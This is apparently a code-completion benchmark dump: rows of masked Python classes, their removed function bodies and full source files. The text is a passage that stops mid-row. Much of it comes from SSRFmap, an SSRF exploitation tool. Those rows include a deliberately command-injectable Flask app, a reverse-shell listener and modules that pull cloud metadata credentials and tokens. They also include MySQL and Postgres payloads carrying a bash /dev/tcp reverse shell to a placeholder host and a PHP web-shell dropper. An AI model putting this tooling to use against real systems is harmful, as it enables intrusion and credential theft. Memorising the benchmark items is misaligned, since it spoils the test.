index int64 0 50.7k | project_path stringclasses 279
values | completion_path stringlengths 57 199 | signature_postion stringlengths 3 11 | class_position stringlengths 3 11 | function_name stringlengths 1 62 | class_name stringlengths 0 55 | body_position stringlengths 3 11 | body_position_with_comments stringlengths 3 11 | masked_class stringlengths 14 8.32k | masked_class_with_comment stringlengths 14 8.32k | func_body stringlengths 9 6.72k | func_body_with_comment stringlengths 9 6.72k | len_func_body int64 1 643 | len_input int64 10 2.02k | len_output int64 4 1.9k | total int64 20 2.05k | file_code stringlengths 14 442k | file_code_with_comment stringlengths 14 442k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
40,236 | /home/hieuvd/dung_repo/raw/stars_02/sczhou_ProPainter/ProPainter | /home/hieuvd/dung_repo/raw/stars_02/sczhou_ProPainter/ProPainter/web-demos/hugging_face/tracker/utils/time_estimator.py | 18,19 | 4,44 | update | TimeEstimator | 19,33 | 19,33 | class TimeEstimator:
def __init__(self, total_iter, step_size):
self.avg_time_window = [] # window-based average
self.exp_avg_time = None # exponential moving average
self.alpha = 0.7 # for exponential moving average
self.last_time = time.time() # would not be accurate for the f... | class TimeEstimator:
def __init__(self, total_iter, step_size):
self.avg_time_window = [] # window-based average
self.exp_avg_time = None # exponential moving average
self.alpha = 0.7 # for exponential moving average
self.last_time = time.time() # would not be accurate for the f... | curr_time = time.time()
time_per_iter = curr_time - self.last_time
self.last_time = curr_time
self.avg_time_window.append(time_per_iter)
if self.buffering_exp:
if self.exp_avg_time is not None:
# discard the first iteration call to not pollute the em... | curr_time = time.time()
time_per_iter = curr_time - self.last_time
self.last_time = curr_time
self.avg_time_window.append(time_per_iter)
if self.buffering_exp:
if self.exp_avg_time is not None:
# discard the first iteration call to not pollute the em... | 48 | 304 | 185 | 489 | import time
class TimeEstimator:
def __init__(self, total_iter, step_size):
self.avg_time_window = [] # window-based average
self.exp_avg_time = None # exponential moving average
self.alpha = 0.7 # for exponential moving average
self.last_time = time.time() # would not be accu... | import time
class TimeEstimator:
def __init__(self, total_iter, step_size):
self.avg_time_window = [] # window-based average
self.exp_avg_time = None # exponential moving average
self.alpha = 0.7 # for exponential moving average
self.last_time = time.time() # would not be accu... |
40,237 | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant/custom/fixedmainengine.py | 41,42 | 18,114 | load | FixedMainEngine | 42,77 | 42,77 | class FixedMainEngine(MainEngine):
def __init__(self, broker, need_data='ht.json', quotation_engines=[FixedDataEngine],
log_handler=DefaultLogHandler(), ext_stocks=[]):
super(FixedMainEngine, self).__init__(broker, need_data, [], log_handler)
if type(quotation_engines) != list:
... | class FixedMainEngine(MainEngine):
def __init__(self, broker, need_data='ht.json', quotation_engines=[FixedDataEngine],
log_handler=DefaultLogHandler(), ext_stocks=[]):
super(FixedMainEngine, self).__init__(broker, need_data, [], log_handler)
if type(quotation_engines) != list:
... | with self.lock:
mtime = os.path.getmtime(os.path.join('strategies', strategy_file))
# 是否需要重新加载
reload = False
strategy_module_name = os.path.basename(strategy_file)[:-3]
if self._cache.get(strategy_file, None) == mtime:
return
... | with self.lock:
mtime = os.path.getmtime(os.path.join('strategies', strategy_file))
# 是否需要重新加载
reload = False
strategy_module_name = os.path.basename(strategy_file)[:-3]
if self._cache.get(strategy_file, None) == mtime:
return
... | 94 | 750 | 492 | 1,242 | # !/usr/bin/python
# vim: set fileencoding=utf8 :
#
__author__ = 'keping.chu'
import importlib
import os
from threading import Thread, Lock
import time
from easyquant.log_handler.default_handler import DefaultLogHandler
from easyquant.main_engine import MainEngine
from easyquant.multiprocess.strategy_wrapper import P... | # !/usr/bin/python
# vim: set fileencoding=utf8 :
#
__author__ = 'keping.chu'
import importlib
import os
from threading import Thread, Lock
import time
from easyquant.log_handler.default_handler import DefaultLogHandler
from easyquant.main_engine import MainEngine
from easyquant.multiprocess.strategy_wrapper import P... |
40,238 | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant/easyquant/event_engine.py | 41,42 | 14,80 | __process | EventEngine | 43,49 | 42,49 | class EventEngine:
"""事件驱动引擎"""
def __init__(self):
"""初始化事件引擎"""
# 事件队列
self.__queue = Queue()
# 事件引擎开关
self.__active = False
# 事件引擎处理线程
self.__thread = Thread(target=self.__run, name="EventEngine.__thread")
# 事件字典,key 为时间, value 为对应监听事件函数的列表
... | class EventEngine:
"""事件驱动引擎"""
def __init__(self):
"""初始化事件引擎"""
# 事件队列
self.__queue = Queue()
# 事件引擎开关
self.__active = False
# 事件引擎处理线程
self.__thread = Thread(target=self.__run, name="EventEngine.__thread")
# 事件字典,key 为时间, value 为对应监听事件函数的列表
... | # 检查该事件是否有对应的处理函数
if event.event_type in self.__handlers:
# 若存在,则按顺序将时间传递给处理函数执行
for handler in self.__handlers[event.event_type]:
handler(event)
| """事件处理"""
# 检查该事件是否有对应的处理函数
if event.event_type in self.__handlers:
# 若存在,则按顺序将时间传递给处理函数执行
for handler in self.__handlers[event.event_type]:
handler(event)
| 13 | 521 | 80 | 601 | from collections import defaultdict
from queue import Queue, Empty
from threading import Thread
class Event:
"""事件对象"""
def __init__(self, event_type, data=None):
self.event_type = event_type
self.data = data
class EventEngine:
"""事件驱动引擎"""
def __init__(self):
"""初始化事件引擎"""... | from collections import defaultdict
from queue import Queue, Empty
from threading import Thread
class Event:
"""事件对象"""
def __init__(self, event_type, data=None):
self.event_type = event_type
self.data = data
class EventEngine:
"""事件驱动引擎"""
def __init__(self):
"""初始化事件引擎"""... |
40,239 | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant/easyquant/multiprocess/strategy_wrapper.py | 72,73 | 7,83 | _process | ProcessWrapper | 76,83 | 73,83 | class ProcessWrapper(object):
def __init__(self, strategy):
"""
@:param
strategy 策略
"""
self.__strategy = strategy
# 事件队列
self.__event_queue = mp.Queue(10000)
# 时钟队列
self.__clock_queue = mp.Queue(10000)
# 包装进程
self.__proc = ... | class ProcessWrapper(object):
def __init__(self, strategy):
"""
@:param
strategy 策略
"""
self.__strategy = strategy
# 事件队列
self.__event_queue = mp.Queue(10000)
# 时钟队列
self.__clock_queue = mp.Queue(10000)
# 包装进程
self.__proc = ... | event_thread = Thread(target=self._process_event, name="ProcessWrapper._process_event")
event_thread.start()
clock_thread = Thread(target=self._process_clock, name="ProcessWrapper._process_clock")
clock_thread.start()
event_thread.join()
clock_thread.join()
| """
启动进程
"""
event_thread = Thread(target=self._process_event, name="ProcessWrapper._process_event")
event_thread.start()
clock_thread = Thread(target=self._process_clock, name="ProcessWrapper._process_clock")
clock_thread.start()
event_thread.join()
... | 12 | 447 | 92 | 539 | import multiprocessing as mp
from threading import Thread
__author__ = 'keping.chu'
class ProcessWrapper(object):
def __init__(self, strategy):
"""
@:param
strategy 策略
"""
self.__strategy = strategy
# 事件队列
self.__event_queue = mp.Queue(10000)
# ... | import multiprocessing as mp
from threading import Thread
__author__ = 'keping.chu'
class ProcessWrapper(object):
def __init__(self, strategy):
"""
@:param
strategy 策略
"""
self.__strategy = strategy
# 事件队列
self.__event_queue = mp.Queue(10000)
# ... |
40,240 | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant/easyquant/strategy/strategyTemplate.py | 56,57 | 6,81 | run | StrategyTemplate | 57,65 | 57,65 | class StrategyTemplate:
name = 'DefaultStrategyTemplate'
def __init__(self, user, log_handler, main_engine):
self.user = user
self.main_engine = main_engine
self.clock_engine = main_engine.clock_engine
# 优先使用自定义 log 句柄, 否则使用主引擎日志句柄
self.log = self.log_handler() or log_ha... | class StrategyTemplate:
name = 'DefaultStrategyTemplate'
def __init__(self, user, log_handler, main_engine):
self.user = user
self.main_engine = main_engine
self.clock_engine = main_engine.clock_engine
# 优先使用自定义 log 句柄, 否则使用主引擎日志句柄
self.log = self.log_handler() or log_ha... | try:
self.strategy(event)
except:
exc_type, exc_value, exc_traceback = sys.exc_info()
self.log.error(repr(traceback.format_exception(exc_type,
exc_value,
... | try:
self.strategy(event)
except:
exc_type, exc_value, exc_traceback = sys.exc_info()
self.log.error(repr(traceback.format_exception(exc_type,
exc_value,
... | 11 | 745 | 84 | 829 | # coding:utf-8
import sys
import traceback
class StrategyTemplate:
name = 'DefaultStrategyTemplate'
def __init__(self, user, log_handler, main_engine):
self.user = user
self.main_engine = main_engine
self.clock_engine = main_engine.clock_engine
# 优先使用自定义 log 句柄, 否则使用主引擎日志句柄
... | # coding:utf-8
import sys
import traceback
class StrategyTemplate:
name = 'DefaultStrategyTemplate'
def __init__(self, user, log_handler, main_engine):
self.user = user
self.main_engine = main_engine
self.clock_engine = main_engine.clock_engine
# 优先使用自定义 log 句柄, 否则使用主引擎日志句柄
... |
40,241 | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant | /home/hieuvd/dung_repo/raw/stars_02/shidenggui_easyquant/easyquant/strategies/策略2_Demo.py | 7,8 | 4,14 | strategy | Strategy | 8,14 | 8,14 | class Strategy(StrategyTemplate):
name = '测试策略2'
def strategy(self, event):
FILL_FUNC_BODY | class Strategy(StrategyTemplate):
name = '测试策略2'
def strategy(self, event):
FILL_FUNC_BODY | self.log.info('\n\n策略2触发')
self.log.info('行情数据: 华宝油气 %s' % event.data['162411'])
self.log.info('检查持仓')
self.log.info(self.user.balance)
self.log.info('\n')
| self.log.info('\n\n策略2触发')
self.log.info('行情数据: 华宝油气 %s' % event.data['162411'])
self.log.info('检查持仓')
self.log.info(self.user.balance)
self.log.info('\n')
| 9 | 37 | 92 | 129 | from easyquant import StrategyTemplate
class Strategy(StrategyTemplate):
name = '测试策略2'
def strategy(self, event):
FILL_FUNC_BODY | from easyquant import StrategyTemplate
class Strategy(StrategyTemplate):
name = '测试策略2'
def strategy(self, event):
FILL_FUNC_BODY |
40,358 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/core/handler.py | 14,15 | 6,44 | run | Handler | 15,29 | 15,29 | class Handler(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
logging.info(f"Handler listening on 0.0.0.0:{port}")
self.connected = False
self.port = int(port)
def run(self):
FILL_FUNC_BODY def listen_command(self):
if self.connected == T... | class Handler(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
logging.info(f"Handler listening on 0.0.0.0:{port}")
self.connected = False
self.port = int(port)
def run(self):
FILL_FUNC_BODY def listen_command(self):
if self.connected == T... | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind(('', self.port))
while True:
self.socket.listen(5)
self.client, address = self.socket.accept()
print(f"Handler> New session from {address[0]}")
self.connected = True
... | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind(('', self.port))
while True:
self.socket.listen(5)
self.client, address = self.socket.accept()
print(f"Handler> New session from {address[0]}")
self.connected = True
... | 37 | 209 | 181 | 390 | import socket
import threading
import time
import logging
class Handler(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
logging.info(f"Handler listening on 0.0.0.0:{port}")
self.connected = False
self.port = int(port)
def run(self):
FILL_FUNC_BODY ... | import socket
import threading
import time
import logging
class Handler(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
logging.info(f"Handler listening on 0.0.0.0:{port}")
self.connected = False
self.port = int(port)
def run(self):
FILL_FUNC_BODY ... |
40,359 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/core/utils.py | 26,27 | 1,162 | diff_text | 27,33 | 27,33 | import socket
import struct
import string
def wrapper_file(data):
return f"file://{data}"
def wrapper_unc(data, ip):
return f"\\\\{ip}\\{data}"
def wrapper_gopher(data, ip, port):
return f"gopher://{ip}:{port}/_{data}"
def wrapper_dict(data, ip, port):
return f"dict://{data}:{ip}/{port}"
def wr... | import socket
import struct
import string
def wrapper_file(data):
return f"file://{data}"
def wrapper_unc(data, ip):
return f"\\\\{ip}\\{data}"
def wrapper_gopher(data, ip, port):
return f"gopher://{ip}:{port}/_{data}"
def wrapper_dict(data, ip, port):
return f"dict://{data}:{ip}/{port}"
def wr... | diff = ""
for line in text1.split("\n"):
if not line in text2:
diff += line + "\n"
return diff
| diff = ""
for line in text1.split("\n"):
if not line in text2:
diff += line + "\n"
return diff
| 19 | 1,904 | 47 | 1,951 | import socket
import struct
import string
def wrapper_file(data):
return f"file://{data}"
def wrapper_unc(data, ip):
return f"\\\\{ip}\\{data}"
def wrapper_gopher(data, ip, port):
return f"gopher://{ip}:{port}/_{data}"
def wrapper_dict(data, ip, port):
return f"dict://{data}:{ip}/{port}"
def wr... | import socket
import struct
import string
def wrapper_file(data):
return f"file://{data}"
def wrapper_unc(data, ip):
return f"\\\\{ip}\\{data}"
def wrapper_gopher(data, ip, port):
return f"gopher://{ip}:{port}/_{data}"
def wrapper_dict(data, ip, port):
return f"dict://{data}:{ip}/{port}"
def wr... | |
40,360 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/data/example.py | 33,35 | 1,59 | ssrf3 | 35,40 | 35,40 | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
# FLASK_APP=example.py flask run
from flask import Flask, abort, request
import json
import re
import subprocess
app = Flask(__name__)
@app.route("/")
def hello():
... | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
# FLASK_APP=example.py flask run
from flask import Flask, abort, request
import json
import re
import subprocess
app = Flask(__name__)
@app.route("/")
def hello():
... | data = request.values
content = command(f"curl {data.get('url')}")
return content
# curl -X POST -H "Content-Type: application/xml" -d '<run><log encoding="hexBinary">4142430A</log><result>0</result><url>http://google.com</url></run>' http://127.0.0.1:5000/ssrf4
| data = request.values
content = command(f"curl {data.get('url')}")
return content
# curl -X POST -H "Content-Type: application/xml" -d '<run><log encoding="hexBinary">4142430A</log><result>0</result><url>http://google.com</url></run>' http://127.0.0.1:5000/ssrf4
| 20 | 562 | 120 | 682 | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
# FLASK_APP=example.py flask run
from flask import Flask, abort, request
import json
import re
import subprocess
app = Flask(__name__)
@app.route("/")
def hello():
... | # NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
# FLASK_APP=example.py flask run
from flask import Flask, abort, request
import json
import re
import subprocess
app = Flask(__name__)
@app.route("/")
def hello():
... | |
40,361 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/handlers/http.py | 12,13 | 7,51 | run | exploit | 13,41 | 13,41 | class exploit(Handler):
def __init__(self, port):
super().__init__(port)
def run(self):
FILL_FUNC_BODY def kill(self):
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(self.socket.getsockname()) # trigger last connection to closing
self.socket.close()
def listen_command(self):
# shutd... | class exploit(Handler):
def __init__(self, port):
super().__init__(port)
def run(self):
FILL_FUNC_BODY def kill(self):
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(self.socket.getsockname()) # trigger last connection to closing
self.socket.close()
def listen_command(self):
# shutd... | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(('', self.port))
self.injected_params = []
while True:
self.socket.listen(5)
self.client, address = self.socket.accept()
respon... | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(('', self.port))
self.injected_params = []
while True:
self.socket.listen(5)
self.client, address = self.socket.accept()
respon... | 68 | 136 | 394 | 530 | from core.utils import *
from core.handler import Handler
import re
import logging
import urllib.parse
class exploit(Handler):
def __init__(self, port):
super().__init__(port)
def run(self):
FILL_FUNC_BODY def kill(self):
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(self.socket.getsockname(... | from core.utils import *
from core.handler import Handler
import re
import logging
import urllib.parse
class exploit(Handler):
def __init__(self, port):
super().__init__(port)
def run(self):
FILL_FUNC_BODY def kill(self):
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(self.socket.getsockname(... |
40,362 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/alibaba.py | 49,50 | 10,53 | add_endpoints | exploit | 50,53 | 50,53 | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | self.endpoints.add( ("100.100.100.200","latest/meta-data/instance-id") )
self.endpoints.add( ("100.100.100.200","latest/meta-data/image-id") )
self.endpoints.add( ("100.100.100.200","latest/meta-data/") ) | self.endpoints.add( ("100.100.100.200","latest/meta-data/instance-id") )
self.endpoints.add( ("100.100.100.200","latest/meta-data/image-id") )
self.endpoints.add( ("100.100.100.200","latest/meta-data/") ) | 9 | 449 | 110 | 559 | from core.utils import *
import logging
import os
name = "alibaba"
description = "Access sensitive data from the Alibaba Cloud"
author = "Swissky"
documentation = [""]
class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")... | from core.utils import *
import logging
import os
name = "alibaba"
description = "Access sensitive data from the Alibaba Cloud"
author = "Swissky"
documentation = [""]
class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")... |
40,363 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/aws.py | 54,55 | 15,68 | add_endpoints | exploit | 55,68 | 55,68 | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | self.endpoints.add( ("169.254.169.254","latest/user-data", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname... | self.endpoints.add( ("169.254.169.254","latest/user-data", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") )
self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname... | 52 | 449 | 575 | 1,024 | from core.utils import *
import logging
import os
name = "aws"
description = "Access sensitive data from AWS"
author = "Swissky"
documentation = [
"https://hackerone.com/reports/53088",
"https://hackerone.com/reports/285380",
"https://blog.christophetd.fr/abusing-aws-metadata-service-usin... | from core.utils import *
import logging
import os
name = "aws"
description = "Access sensitive data from AWS"
author = "Swissky"
documentation = [
"https://hackerone.com/reports/53088",
"https://hackerone.com/reports/285380",
"https://blog.christophetd.fr/abusing-aws-metadata-service-usin... |
40,364 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/digitalocean.py | 46,47 | 10,53 | add_endpoints | exploit | 47,53 | 47,53 | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | self.endpoints.add( ("169.254.169.254","metadata/v1/id") )
self.endpoints.add( ("169.254.169.254","metadata/v1/user-data") )
self.endpoints.add( ("169.254.169.254","metadata/v1/hostname") )
self.endpoints.add( ("169.254.169.254","metadata/v1/region") )
self.endpoints.add( ("169.2... | self.endpoints.add( ("169.254.169.254","metadata/v1/id") )
self.endpoints.add( ("169.254.169.254","metadata/v1/user-data") )
self.endpoints.add( ("169.254.169.254","metadata/v1/hostname") )
self.endpoints.add( ("169.254.169.254","metadata/v1/region") )
self.endpoints.add( ("169.2... | 18 | 423 | 215 | 638 | from core.utils import *
import logging
import os
name = "digitalocean"
description = "Access sensitive data from the Digital Ocean provider"
author = "Swissky"
documentation = ["https://developers.digitalocean.com/documentation/metadata/"]
class exploit():
endpoints = set()
def __init__(se... | from core.utils import *
import logging
import os
name = "digitalocean"
description = "Access sensitive data from the Digital Ocean provider"
author = "Swissky"
documentation = ["https://developers.digitalocean.com/documentation/metadata/"]
class exploit():
endpoints = set()
def __init__(se... |
40,365 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/gce.py | 53,54 | 14,60 | add_endpoints | exploit | 54,60 | 54,60 | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | class exploit():
endpoints = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.add_endpoints()
r = requester.do_request(args.param, "")
if r != None:
default = r.text
# Create directory to store files
... | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") )
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") )
self.endpoints.add( ("metadata.google.internal", "computeMetada... | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") )
self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") )
self.endpoints.add( ("metadata.google.internal", "computeMetada... | 16 | 449 | 163 | 612 | from core.utils import *
import logging
import os
name = "gce"
description = "Access sensitive data from GCE"
author = "mrtc0"
documentation = [
"https://cloud.google.com/compute/docs/storing-retrieving-metadata",
"https://hackerone.com/reports/341876",
"https://blog.ssrf.in/post/example-... | from core.utils import *
import logging
import os
name = "gce"
description = "Access sensitive data from GCE"
author = "mrtc0"
documentation = [
"https://cloud.google.com/compute/docs/storing-retrieving-metadata",
"https://hackerone.com/reports/341876",
"https://blog.ssrf.in/post/example-... |
40,366 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/mysql.py | 84,85 | 18,93 | get_payload | exploit | 85,93 | 85,93 | class exploit():
user = "root"
query = "SELECT database();#"
reverse = "select \"<?php system('bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'"
dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_sch... | class exploit():
user = "root"
query = "SELECT database();#"
reverse = "select \"<?php system('bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'"
dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_sch... | if(query.strip()!=''):
query = binascii.hexlify( query.encode() )
query_length = f'{(int((len(query) / 2) + 1)):x}'
pay1 = query_length.rjust(2,'0') + "00000003" + query.decode()
final = self.encode(auth + pay1 + "0100000001", ip)
return final
... | if(query.strip()!=''):
query = binascii.hexlify( query.encode() )
query_length = f'{(int((len(query) / 2) + 1)):x}'
pay1 = query_length.rjust(2,'0') + "00000003" + query.decode()
final = self.encode(auth + pay1 + "0100000001", ip)
return final
... | 34 | 1,156 | 141 | 1,297 | from core.utils import *
import logging
import binascii
# NOTE
# This exploit is a Python 3 version of the Gopherus tool
name = "mysql"
description = "Execute MySQL command < 8.0"
author = "Swissky"
documentation = [
"https://spyclub.tech/2018/02/05/2018-02-05-ssrf-through-gopher/",
"https://githu... | from core.utils import *
import logging
import binascii
# NOTE
# This exploit is a Python 3 version of the Gopherus tool
name = "mysql"
description = "Execute MySQL command < 8.0"
author = "Swissky"
documentation = [
"https://spyclub.tech/2018/02/05/2018-02-05-ssrf-through-gopher/",
"https://githu... |
40,367 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/networkscan.py | 33,34 | 12,58 | add_range | exploit | 34,46 | 34,46 | class exploit():
ips = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
# concurrent requests in order to limit the time
self.add_range("192.168.1.0/24") # Default network
self.add_range("192.168.0.0/24") # Default network
# Un... | class exploit():
ips = set()
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
# concurrent requests in order to limit the time
self.add_range("192.168.1.0/24") # Default network
self.add_range("192.168.0.0/24") # Default network
# Un... | (ip, cidr) = ip_cidr.split('/')
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0] # note the endianness
start = (i >> host_bits) << host_bits # clear the host bits
end = start | ((1 << host_bits) - 1)
# excludes the first an... | (ip, cidr) = ip_cidr.split('/')
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0] # note the endianness
start = (i >> host_bits) << host_bits # clear the host bits
end = start | ((1 << host_bits) - 1)
# excludes the first an... | 57 | 450 | 172 | 622 | from core.utils import *
from datetime import datetime
import sys, struct, socket
import logging
import concurrent.futures
name = "networkscan"
description = "Scan the network - HTTP Ping sweep"
author = "Swissky"
documentation = []
class exploit():
ips = set()
def __init__(self, requester,... | from core.utils import *
from datetime import datetime
import sys, struct, socket
import logging
import concurrent.futures
name = "networkscan"
description = "Scan the network - HTTP Ping sweep"
author = "Swissky"
documentation = []
class exploit():
ips = set()
def __init__(self, requester,... |
40,368 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/portscan.py | 29,30 | 11,56 | concurrent_request | exploit | 30,56 | 30,56 | class exploit():
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
r = requester.do_request(args.param, "")
load_ports = ""
with open("data/ports", "r") as f:
load_ports = f.readlines()
# Using a generator to create the host list
... | class exploit():
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
r = requester.do_request(args.param, "")
load_ports = ""
with open("data/ports", "r") as f:
load_ports = f.readlines()
# Using a generator to create the host list
... | try:
payload = wrapper_http("", host, port.strip())
r = requester.do_request(param, payload)
# Display Open port
if r != None and not "Connection refused" in r.text:
timer = datetime.today().time().replace(microsecond=0)
port = por... | try:
payload = wrapper_http("", host, port.strip())
r = requester.do_request(param, payload)
# Display Open port
if r != None and not "Connection refused" in r.text:
timer = datetime.today().time().replace(microsecond=0)
port = por... | 104 | 248 | 408 | 656 | from core.utils import *
from datetime import datetime
import logging
import concurrent.futures
name = "portscan"
description = "Scan ports of the target"
author = "Swissky"
documentation = []
class exploit():
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched ... | from core.utils import *
from datetime import datetime
import logging
import concurrent.futures
name = "portscan"
description = "Scan ports of the target"
author = "Swissky"
documentation = []
class exploit():
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched ... |
40,369 | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap | /home/hieuvd/dung_repo/raw/stars_02/swisskyrepo_SSRFmap/SSRFmap/modules/postgres.py | 68,69 | 15,89 | get_payload | exploit | 69,89 | 69,89 | class exploit():
user = "postgres"
database = "postgres"
reverse = "COPY (SELECT '<?php system(\"bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';"
php_cmd_shell = "COPY (SELECT '<?php system($_GET[\"cmd\"]);?>') TO '/var/www/html/shell.php';"
def __init__(se... | class exploit():
user = "postgres"
database = "postgres"
reverse = "COPY (SELECT '<?php system(\"bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';"
php_cmd_shell = "COPY (SELECT '<?php system($_GET[\"cmd\"]);?>') TO '/var/www/html/shell.php';"
def __init__(se... | if(query.strip()!=''):
# Encode username, db and query
encode_user = self.encode_to_hex_str(self.user)
encode_db = self.encode_to_hex_str(self.database)
encode_query = self.encode_to_hex_str(self.query)
